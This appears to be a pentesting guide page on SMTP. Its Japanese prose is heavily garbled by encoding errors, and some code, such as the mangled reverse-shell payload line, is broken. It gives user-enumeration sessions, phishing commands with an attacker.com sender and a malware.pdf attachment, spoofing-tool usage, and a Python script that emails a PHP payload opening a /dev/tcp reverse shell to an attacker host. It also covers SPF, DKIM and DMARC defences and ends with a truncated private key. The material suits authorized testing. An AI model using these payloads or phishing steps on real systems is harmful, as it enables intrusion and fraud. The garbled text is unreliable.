.. | ||
README.md | ||
smtp-commands.md | ||
smtp-smuggling.md |
25,465,587 - Pentesting SMTP/s
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
ããªãã®ãŠã§ãã¢ããªããããã¯ãŒã¯ãã¯ã©ãŠãã«å¯Ÿããããã«ãŒã®èŠç¹ãåŸã
å®éã®ããžãã¹ã«åœ±é¿ãäžããé倧ã§æªçšå¯èœãªè匱æ§ãèŠã€ããŠå ±åããŸãã æ»æé¢ããããã³ã°ããç¹æš©ãææ Œãããã»ãã¥ãªãã£åé¡ãèŠã€ããããã«ã20以äžã®ã«ã¹ã¿ã ããŒã«ã䜿çšããèªååããããšã¯ã¹ããã€ãã䜿çšããŠéèŠãªèšŒæ ãåéããããªãã®åªåã説åŸåã®ããå ±åæžã«å€ããŸãã
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
åºæ¬æ å ±
ã·ã³ãã«ã¡ãŒã«è»¢éãããã³ã«ïŒSMTPïŒã¯ãé»åã¡ãŒã«ã®éåä¿¡ã«äœ¿çšãããTCP/IPã¹ã€ãŒãå ã®ãããã³ã«ã§ããåä¿¡è åŽã§ã¡ãã»ãŒãžããã¥ãŒã€ã³ã°ããéã®å¶éãããSMTPã¯ãã°ãã°POP3ãŸãã¯IMAPãšäžç·ã«äœ¿çšãããŸãããããã®è¿œå ãããã³ã«ã¯ããŠãŒã¶ãŒããµãŒããŒã¡ãŒã«ããã¯ã¹ã«ã¡ãã»ãŒãžãä¿åããå®æçã«ããŠã³ããŒãã§ããããã«ããŸãã
å®éã«ã¯ãé»åã¡ãŒã«ããã°ã©ã ãé»åã¡ãŒã«ãéä¿¡ããããã«SMTPã䜿çšããåä¿¡ããããã«POP3ãŸãã¯IMAPãå©çšããããšãäžè¬çã§ããUnixããŒã¹ã®ã·ã¹ãã ã§ã¯ãsendmailãé»åã¡ãŒã«ç®çã§æãé »ç¹ã«äœ¿çšãããSMTPãµãŒããŒãšããŠéç«ã£ãŠããŸããåæ¥ããã±ãŒãžã§ããSendmailã¯POP3ãµãŒããŒãå«ãã§ããŸããããã«ãMicrosoft Exchangeã¯SMTPãµãŒããŒãæäŸããPOP3ãµããŒããå«ãããªãã·ã§ã³ãæäŸããŸãã
ããã©ã«ãããŒã: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
EMAIL Headers
ãã被害è ã«ã¡ãŒã«ãéä¿¡ãããæ©äŒãããã°ïŒäŸãã°ããŠã§ãããŒãžã®ã³ã³ã¿ã¯ããã©ãŒã ãéããŠïŒããããè¡ã£ãŠãã ããããªããªããã¡ãŒã«ã®ããããŒãèŠãããšã§è¢«å®³è ã®å éšããããžãŒã«ã€ããŠåŠã¶ããšãã§ããããã§ãã
ãŸããååšããªãã¢ãã¬ã¹ã«ã¡ãŒã«ãéä¿¡ããããšããããšã§SMTPãµãŒããŒããã¡ãŒã«ãååŸããããšãã§ããŸãïŒãµãŒããŒã¯æ»æè ã«NDNã¡ãŒã«ãéä¿¡ããŸãïŒããã ããèš±å¯ãããã¢ãã¬ã¹ããã¡ãŒã«ãéä¿¡ãïŒSPFããªã·ãŒã確èªïŒãNDNã¡ãã»ãŒãžãåä¿¡ã§ããããšã確èªããŠãã ããã
ç°ãªãå
容ãéä¿¡ããããšãè©Šã¿ãã¹ãã§ãããªããªããããããŒã«ããèå³æ·±ãæ
å ±ãèŠã€ããããšãã§ããããã§ãã äŸãã°: X-Virus-Scanned: by av.domain.com
EICARãã¹ããã¡ã€ã«ãéä¿¡ããŠãã ããã
AVãæ€åºããããšã§ãæ¢ç¥ã®è匱æ§ãæªçšããããšãã§ãããããããŸããã
Basic actions
Banner Grabbing/Basic connection
SMTP:
nc -vn <IP> 25
SMTPS:
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
çµç¹ã®MXãµãŒããŒãèŠã€ãã
dig +short mx google.com
åæ
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
NTLM Auth - æ å ±æŒæŽ©
ãµãŒããŒãNTLMèªèšŒïŒWindowsïŒããµããŒãããŠããå Žåãæ©å¯æ å ±ïŒããŒãžã§ã³ïŒãååŸã§ããŸãã詳现ã¯ãã¡ããåç §ããŠãã ããã
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
Or automate this with nmap plugin smtp-ntlm-info.nse
Internal server name - æ å ±æŒæŽ©
Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
ã¹ãããã£ã³ã°
ããŒã25ã®ãã±ãããããã¹ã¯ãŒããã¹ãããã£ã³ã°ã§ããã確èªããŠãã ããã
èªèšŒãã«ãŒããã©ãŒã¹
ãŠãŒã¶ãŒåãã«ãŒããã©ãŒã¹åæ
èªèšŒã¯åžžã«å¿ èŠã§ã¯ãããŸãã
RCPT TO
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
VRFY
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
EXPN
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
èªåããŒã«
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
ããªãã®ãŠã§ãã¢ããªããããã¯ãŒã¯ãã¯ã©ãŠãã«å¯Ÿããããã«ãŒã®èŠç¹ãåŸã
å®éã®ããžãã¹ã«åœ±é¿ãäžããé倧ã§æªçšå¯èœãªè匱æ§ãèŠã€ããŠå ±åããŸãã 20以äžã®ã«ã¹ã¿ã ããŒã«ã䜿çšããŠæ»æé¢ããããã³ã°ããç¹æš©ãææ Œãããã»ãã¥ãªãã£åé¡ãèŠã€ããèªååããããšã¯ã¹ããã€ãã䜿çšããŠéèŠãªèšŒæ ãåéããããªãã®åªåã説åŸåã®ããå ±åæžã«å€ããŸãã
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
DSNã¬ããŒã
é ä¿¡ç¶æ³éç¥ã¬ããŒã: çµç¹ã«ç¡å¹ãªã¢ãã¬ã¹ã«ã¡ãŒã«ãéä¿¡ãããšãçµç¹ã¯ãã®ã¢ãã¬ã¹ãç¡å¹ã§ããããšãéç¥ããããªãã«ã¡ãŒã«ãè¿éããŸããè¿éãããã¡ãŒã«ã®ããããŒã«ã¯ãå ±åæžãšããåãããã¡ãŒã«ãµãŒãã¹ã®IPã¢ãã¬ã¹ãã¢ã³ããŠã€ã«ã¹ãœãããŠã§ã¢ã®æ å ±ãªã©ãå¯èœæ§ã®ããæ©å¯æ å ±ãå«ãŸããŸãã
ã³ãã³ã
Linuxã³ã³ãœãŒã«ããã¡ãŒã«ãéä¿¡ãã
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
Pythonã䜿ã£ãã¡ãŒã«ã®éä¿¡
ããã«Pythonã³ãŒã
```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import syslhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587
create message object instance
msg = MIMEMultipart()
setup the parameters of the message
password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"
payload
message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250: print("[-]Connection Error") exit()
server.starttls()
Uncomment if log-in with authencation
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## SMTPã¹ã ãŒã°ãªã³ã°
SMTPã¹ã ãŒã°ãªã³ã°ã®è匱æ§ã«ããããã¹ãŠã®SMTPä¿è·ããã€ãã¹ããããšãå¯èœã§ããïŒä¿è·ã«é¢ãã詳现ã¯æ¬¡ã®ã»ã¯ã·ã§ã³ãåç
§ããŠãã ããïŒãSMTPã¹ã ãŒã°ãªã³ã°ã®è©³çŽ°ã«ã€ããŠã¯ã以äžã確èªããŠãã ããïŒ
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}
## ã¡ãŒã«ã¹ããŒãã£ã³ã°å¯Ÿç
çµç¹ã¯ãSMTPã¡ãã»ãŒãžã®ã¹ããŒãã£ã³ã°ã®å®¹æãããã**SPF**ã**DKIM**ãããã³**DMARC**ãæ¡çšããããšã§ãç¡èš±å¯ã®ã¡ãŒã«ãèªåãã¡ã®å矩ã§éä¿¡ãããã®ãé²ãã§ããŸãã
**ãããã®å¯Ÿçã«é¢ããå®å
šãªã¬ã€ã**ã¯ã[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)ã§å
¥æã§ããŸãã
### SPF
{% hint style="danger" %}
SPF [ã¯2014幎ã«ãéæšå¥šããšãããŸãã](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)ãããã¯ã`_spf.domain.com`ã«**TXTã¬ã³ãŒã**ãäœæãã代ããã«ã**åãæ§æ**ã䜿çšããŠ`domain.com`ã«äœæããããšãæå³ããŸãã\
ããã«ã以åã®spfã¬ã³ãŒããåå©çšããããã«ã`"v=spf1 include:_spf.google.com ~all"`ã®ãããªãã®ãèŠã€ããããšã¯éåžžã«äžè¬çã§ãã
{% endhint %}
**éä¿¡è
ããªã·ãŒãã¬ãŒã ã¯ãŒã¯**ïŒSPFïŒã¯ãã¡ãŒã«è»¢éãšãŒãžã§ã³ãïŒMTAïŒããã¡ãŒã«ãéä¿¡ããŠãããã¹ããçµç¹ã«ãã£ãŠå®çŸ©ãããæ¿èªãããã¡ãŒã«ãµãŒããŒã®ãªã¹ããç
§äŒããããšã§ããã®ãã¹ããã¡ãŒã«ãéä¿¡ããæš©éãæã£ãŠãããã©ããã確èªã§ããã¡ã«ããºã ã§ãããã®ãªã¹ãã«ã¯ã**ãã¡ã€ã³åã代衚ããŠã¡ãŒã«ãéä¿¡ããããšãèš±å¯ããã**ããŸããŸãªã**ã¡ã«ããºã **ããå«ãŸããŠããŸãã
#### ã¡ã«ããºã
[ãŠã£ãããã£ã¢](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework)ããïŒ
| ã¡ã«ããºã | 説æ |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | åžžã«äžèŽããŸãã`-all`ã®ãããªããã©ã«ãçµæã«äœ¿çšãããŸãã |
| A | ãã¡ã€ã³åã«éä¿¡è
ã®ã¢ãã¬ã¹ã«è§£æ±ºã§ããã¢ãã¬ã¹ã¬ã³ãŒãïŒAãŸãã¯AAAAïŒãããå ŽåãäžèŽããŸãã |
| IP4 | éä¿¡è
ãæå®ãããIPv4ã¢ãã¬ã¹ç¯å²ã«ããå ŽåãäžèŽããŸãã |
| IP6 | éä¿¡è
ãæå®ãããIPv6ã¢ãã¬ã¹ç¯å²ã«ããå ŽåãäžèŽããŸãã |
| MX | ãã¡ã€ã³åã«éä¿¡è
ã®ã¢ãã¬ã¹ã«è§£æ±ºããMXã¬ã³ãŒããããå ŽåãäžèŽããŸãïŒã€ãŸããã¡ãŒã«ã¯ãã¡ã€ã³ã®åä¿¡ã¡ãŒã«ãµãŒããŒã®1ã€ããæ¥ãŸãïŒã |
| PTR | ã¯ã©ã€ã¢ã³ãã®ã¢ãã¬ã¹ã®ãã¡ã€ã³åïŒPTRã¬ã³ãŒãïŒãæå®ããããã¡ã€ã³ã«ããããã®ãã¡ã€ã³åãã¯ã©ã€ã¢ã³ãã®ã¢ãã¬ã¹ã«è§£æ±ºããå ŽåïŒåæ¹ç¢ºèªãããéDNSïŒãäžèŽããŸãããã®ã¡ã«ããºã ã¯æšå¥šããããå¯èœãªéãé¿ããã¹ãã§ãã |
| EXISTS | æå®ããããã¡ã€ã³åãä»»æã®ã¢ãã¬ã¹ã«è§£æ±ºããå ŽåãäžèŽããŸãïŒè§£æ±ºãããã¢ãã¬ã¹ã«é¢ä¿ãªãïŒãããã¯ã»ãšãã©äœ¿çšãããŸãããSPFãã¯ãèšèªãšçµã¿åãããããšã§ãDNSBLã¯ãšãªã®ãããªããè€éãªäžèŽãæäŸããŸãã |
| INCLUDE | ä»ã®ãã¡ã€ã³ã®ããªã·ãŒãåç
§ããŸãããã®ãã¡ã€ã³ã®ããªã·ãŒãééããã°ããã®ã¡ã«ããºã ãééããŸãããã ããå«ãŸããããªã·ãŒã倱æããå ŽåãåŠçã¯ç¶è¡ãããŸããä»ã®ãã¡ã€ã³ã®ããªã·ãŒã«å®å
šã«å§ä»»ããã«ã¯ããªãã€ã¬ã¯ãæ¡åŒµã䜿çšããå¿
èŠããããŸãã |
| REDIRECT | <p>ãªãã€ã¬ã¯ãã¯ãSPFããªã·ãŒããã¹ãããå¥ã®ãã¡ã€ã³åãžã®ãã€ã³ã¿ã§ãããè€æ°ã®ãã¡ã€ã³ãåãSPFããªã·ãŒãå
±æã§ããããã«ããŸããããã¯ãåãã¡ãŒã«ã€ã³ãã©ã¹ãã©ã¯ãã£ãå
±æããå€æ°ã®ãã¡ã€ã³ãæ±ãéã«äŸ¿å©ã§ãã</p><p>ãªãã€ã¬ã¯ãã¡ã«ããºã ã§ç€ºããããã¡ã€ã³ã®SPFããªã·ãŒã䜿çšãããŸãã</p> |
**ã¯ãªãªãã¡ã€ã¢**ãç¹å®ããããšãå¯èœã§ã**ã¡ã«ããºã ãäžèŽããå Žåã«äœããã¹ããã瀺ããŸã**ãããã©ã«ãã§ã¯ã**ã¯ãªãªãã¡ã€ã¢ã+ã**ã䜿çšãããŸãïŒãããã£ãŠãããããã®ã¡ã«ããºã ãäžèŽããå Žåãããã¯èš±å¯ãããŠããããšãæå³ããŸãïŒã\
éåžžãåSPFããªã·ãŒã®**æåŸã«**ã**\~all**ãŸãã¯**-all**ã®ãããªãã®ãèšèŒãããŠããŸããããã¯ã**éä¿¡è
ãã©ã®SPFããªã·ãŒã«ãäžèŽããªãå Žåãã¡ãŒã«ãä¿¡é Œã§ããªãïŒ\~ïŒãŸãã¯æåŠïŒ-ïŒãšããŠã¿ã°ä»ããã¹ãã§ããããšã瀺ããŸãã**
#### ã¯ãªãªãã¡ã€ã¢
ããªã·ãŒå
ã®åã¡ã«ããºã ã¯ãæå³ãããçµæãå®çŸ©ããããã«4ã€ã®ã¯ãªãªãã¡ã€ã¢ã®ããããã§æ¥é èŸãä»ããããšãã§ããŸãïŒ
* **`+`**: PASSçµæã«å¯Ÿå¿ããŸããããã©ã«ãã§ãã¡ã«ããºã ã¯ãã®ã¯ãªãªãã¡ã€ã¢ãä»®å®ãã`+mx`ã¯`mx`ãšåçã§ãã
* **`?`**: NEUTRALçµæãè¡šããNONEïŒç¹å®ã®ããªã·ãŒãªãïŒãšåæ§ã«æ±ãããŸãã
* **`~`**: SOFTFAILã瀺ããNEUTRALãšFAILã®äžéã®ç«å ŽãåããŸãããã®çµæã«è©²åœããã¡ãŒã«ã¯éåžžåãå
¥ããããŸãããé©åã«ããŒã¯ãããŸãã
* **`-`**: FAILã瀺ããã¡ãŒã«ã¯æ瀺çã«æåŠãããã¹ãã§ããããšã瀺åããŸãã
次ã®äŸã§ã¯ã**google.comã®SPFããªã·ãŒ**ã瀺ãããŠããŸããæåã®SPFããªã·ãŒå
ã«ç°ãªããã¡ã€ã³ããã®SPFããªã·ãŒãå«ãŸããŠããããšã«æ³šæããŠãã ããïŒ
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
åŸæ¥ãæ£ãã/ä»»æã®SPFã¬ã³ãŒããæããªããã¡ã€ã³åãåœè£ ããããšãå¯èœã§ãããçŸåšãã¡ãŒã«ãæå¹ãªSPFã¬ã³ãŒããæããªããã¡ã€ã³ããéä¿¡ãããå Žåãããããèªåçã«æåŠããã/ä¿¡é ŒãããªããšããŒã¯ãããã§ãããã
ãã¡ã€ã³ã®SPFã確èªããã«ã¯ã次ã®ãããªãªã³ã©ã€ã³ããŒã«ã䜿çšã§ããŸã: https://www.kitterman.com/spf/validate.html
DKIM (DomainKeys Identified Mail)
DKIMã¯ãå€éšã®ã¡ãŒã«è»¢éãšãŒãžã§ã³ãïŒMTAïŒã«ããæ€èšŒãå¯èœã«ããããã«ãéä¿¡ã¡ãŒã«ã«çœ²åããããã«å©çšãããŸããããã«ããããã¡ã€ã³ã®å ¬ééµãDNSããååŸã§ããŸãããã®å ¬ééµã¯ããã¡ã€ã³ã®TXTã¬ã³ãŒãã«ãããŸãããã®éµã«ã¢ã¯ã»ã¹ããã«ã¯ãã»ã¬ã¯ã¿ãšãã¡ã€ã³åã®äž¡æ¹ãç¥ã£ãŠããå¿ èŠããããŸãã
äŸãã°ãéµãèŠæ±ããã«ã¯ããã¡ã€ã³åãšã»ã¬ã¯ã¿ãå¿
èŠã§ãããããã¯ã¡ãŒã«ããããŒã®DKIM-Signature
ã«èŠã€ããããšãã§ããŸããäŸ: d=gmail.com;s=20120113
ã
ãã®æ å ±ãååŸããããã®ã³ãã³ãã¯æ¬¡ã®ããã«ãªããŸã:
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARCã¯ãSPFããã³DKIMãããã³ã«ãåºã«ããŠã¡ãŒã«ã»ãã¥ãªãã£ã匷åããŸããç¹å®ã®ãã¡ã€ã³ããã®ã¡ãŒã«ã®åãæ±ãã«é¢ããããªã·ãŒã瀺ããèªèšŒå€±æãžã®å¯ŸåŠæ¹æ³ãã¡ãŒã«åŠçã¢ã¯ã·ã§ã³ã«é¢ããå ±åãã©ãã«éä¿¡ããããå«ã¿ãŸãã
DMARCã¬ã³ãŒããååŸããã«ã¯ããµããã¡ã€ã³_dmarcãã¯ãšãªããå¿ èŠããããŸã
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
DMARC ã¿ã°
ã¿ã°å | ç®ç | ãµã³ãã« |
---|---|---|
v | ãããã³ã«ããŒãžã§ã³ | v=DMARC1 |
pct | ãã£ã«ã¿ãªã³ã°ã®å¯Ÿè±¡ãšãªãã¡ãã»ãŒãžã®å²å | pct=20 |
ruf | æ³å»åŠã¬ããŒãã®å ±åURI | ruf=mailto:authfail@example.com |
rua | éçŽã¬ããŒãã®å ±åURI | rua=mailto:aggrep@example.com |
p | çµç¹ãã¡ã€ã³ã®ããªã·ãŒ | p=quarantine |
sp | ODã®ãµããã¡ã€ã³ã®ããªã·ãŒ | sp=reject |
adkim | DKIMã®æŽåæ§ã¢ãŒã | adkim=s |
aspf | SPFã®æŽåæ§ã¢ãŒã | aspf=r |
ãµããã¡ã€ã³ã«ã€ããŠã¯ïŒ
ãã¡ã ããã
ã¡ãŒã«ãéä¿¡ããåãµããã¡ã€ã³ã«å¯ŸããŠãå¥ã
ã®SPFã¬ã³ãŒããæã€å¿
èŠããããŸãã
以äžã¯ã以åopenspf.orgã«æçš¿ããããã®ã§ããã®çš®ã®æ
å ±ã«ãšã£ãŠçŽ æŽããããªãœãŒã¹ã§ããã
ããŒã¢ã³ã®è³ªå: ãµããã¡ã€ã³ã«ã€ããŠã¯ïŒ
pielovers.demon.co.ukããã¡ãŒã«ãåãåã£ãå Žåãpieloversã®SPFããŒã¿ããªãå Žåã1ã€äžã®ã¬ãã«ã«æ»ã£ãŠdemon.co.ukã®SPFããã¹ããã¹ãã§ããïŒ ããããDemonã®åãµããã¡ã€ã³ã¯ç°ãªã顧客ã§ãããå顧客ã¯ç¬èªã®ããªã·ãŒãæã£ãŠããå¯èœæ§ããããŸããDemonã®ããªã·ãŒããã¹ãŠã®é¡§å®¢ã«ããã©ã«ãã§é©çšãããã®ã¯çã«ããªã£ãŠããŸãããDemonããããæãå Žåãåãµããã¡ã€ã³ã®ããã«SPFã¬ã³ãŒããèšå®ã§ããŸãã
ãããã£ãŠãSPFçºè¡è ãžã®ã¢ããã€ã¹ã¯æ¬¡ã®ãšããã§ã: AãŸãã¯MXã¬ã³ãŒããæã€åãµããã¡ã€ã³ãŸãã¯ãã¹ãåã«å¯ŸããŠSPFã¬ã³ãŒããè¿œå ããå¿ èŠããããŸãã
ã¯ã€ã«ãã«ãŒãAãŸãã¯MXã¬ã³ãŒããæã€ãµã€ãã¯ã次ã®åœ¢åŒã®ã¯ã€ã«ãã«ãŒãSPFã¬ã³ãŒããæã€ã¹ãã§ã: * IN TXT "v=spf1 -all"
ããã¯çã«ããªã£ãŠããŸã - ãµããã¡ã€ã³ã¯ç°ãªãå°ççå Žæã«ãããéåžžã«ç°ãªãSPFå®çŸ©ãæã€å¯èœæ§ããããŸãã
ãªãŒãã³ãªã¬ãŒ
ã¡ãŒã«ãéä¿¡ãããéãã¹ãã ãšããŠãã©ã°ãç«ãŠãããªãããã«ããããšãéèŠã§ããããã¯ãåä¿¡è ã«ãã£ãŠä¿¡é Œããããªã¬ãŒãµãŒããŒã䜿çšããããšã§éæãããããšãå€ãã§ããããããäžè¬çãªèª²é¡ã¯ã管çè ãã©ã®IPç¯å²ãèš±å¯ãããã¹ãããå®å šã«ç解ããŠããªãããšã§ãããã®ç解ã®æ¬ åŠã¯ãSMTPãµãŒããŒã®èšå®ã«ããããã¹ãåŒãèµ·ããå¯èœæ§ããããããã¯ã»ãã¥ãªãã£è©äŸ¡ã§é »ç¹ã«ææããããªã¹ã¯ã§ãã
ç¹ã«æœåšçãŸãã¯é²è¡äžã®ã¯ã©ã€ã¢ã³ããšã®éä¿¡ã«é¢ããŠãã¡ãŒã«é
ä¿¡ã®åé¡ãåé¿ããããã«ãäžéšã®ç®¡çè
ã䜿çšããåé¿çã¯ãä»»æã®IPã¢ãã¬ã¹ããã®æ¥ç¶ãèš±å¯ããããšã§ããããã¯ãSMTPãµãŒããŒã®mynetworks
ãã©ã¡ãŒã¿ããã¹ãŠã®IPã¢ãã¬ã¹ãåãå
¥ããããã«èšå®ããããšã§è¡ãããŸãã
mynetworks = 0.0.0.0/0
ã¡ãŒã«ãµãŒããŒããªãŒãã³ãªã¬ãŒã§ãããã©ããã確èªããããã«ïŒã€ãŸããå€éšãœãŒã¹ããã®ã¡ãŒã«ã転éã§ããããšãæå³ããŸãïŒãnmap
ããŒã«ãäžè¬çã«äœ¿çšãããŸããããããã¹ãããããã«èšèšãããç¹å®ã®ã¹ã¯ãªãããå«ãŸããŠããŸãããµãŒããŒïŒäŸãã°ãIP 10.10.10.10ïŒã§ããŒã25ã䜿çšããŠnmap
ã§è©³çŽ°ã¹ãã£ã³ãå®è¡ããããã®ã³ãã³ãã¯æ¬¡ã®ãšããã§ãïŒ
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
ããŒã«
- https://github.com/serain/mailspoof SPFããã³DMARCã®èª€èšå®ããã§ãã¯
- https://pypi.org/project/checkdmarc/ SPFããã³DMARCã®èšå®ãèªåçã«ååŸ
ã¹ããŒãã£ã³ã°ã¡ãŒã«ãéä¿¡
ãŸãã¯ãããŒã«ã䜿çšããããšãã§ããŸã:
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
{% hint style="warning" %}
ããdkim python libã䜿çšããŠããŒã解æããéã«ãšã©ãŒãçºçããå Žåã¯ã以äžã®ãã®ãèªç±ã«äœ¿çšããŠãã ããã
泚æ: ããã¯ãäœããã®çç±ã§opensslãã©ã€ããŒãããŒãdkimã«ãã£ãŠè§£æã§ããªãå Žåã«è¿
éãªãã§ãã¯ãè¡ãããã®ç°¡æçãªä¿®æ£ã§ãã
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
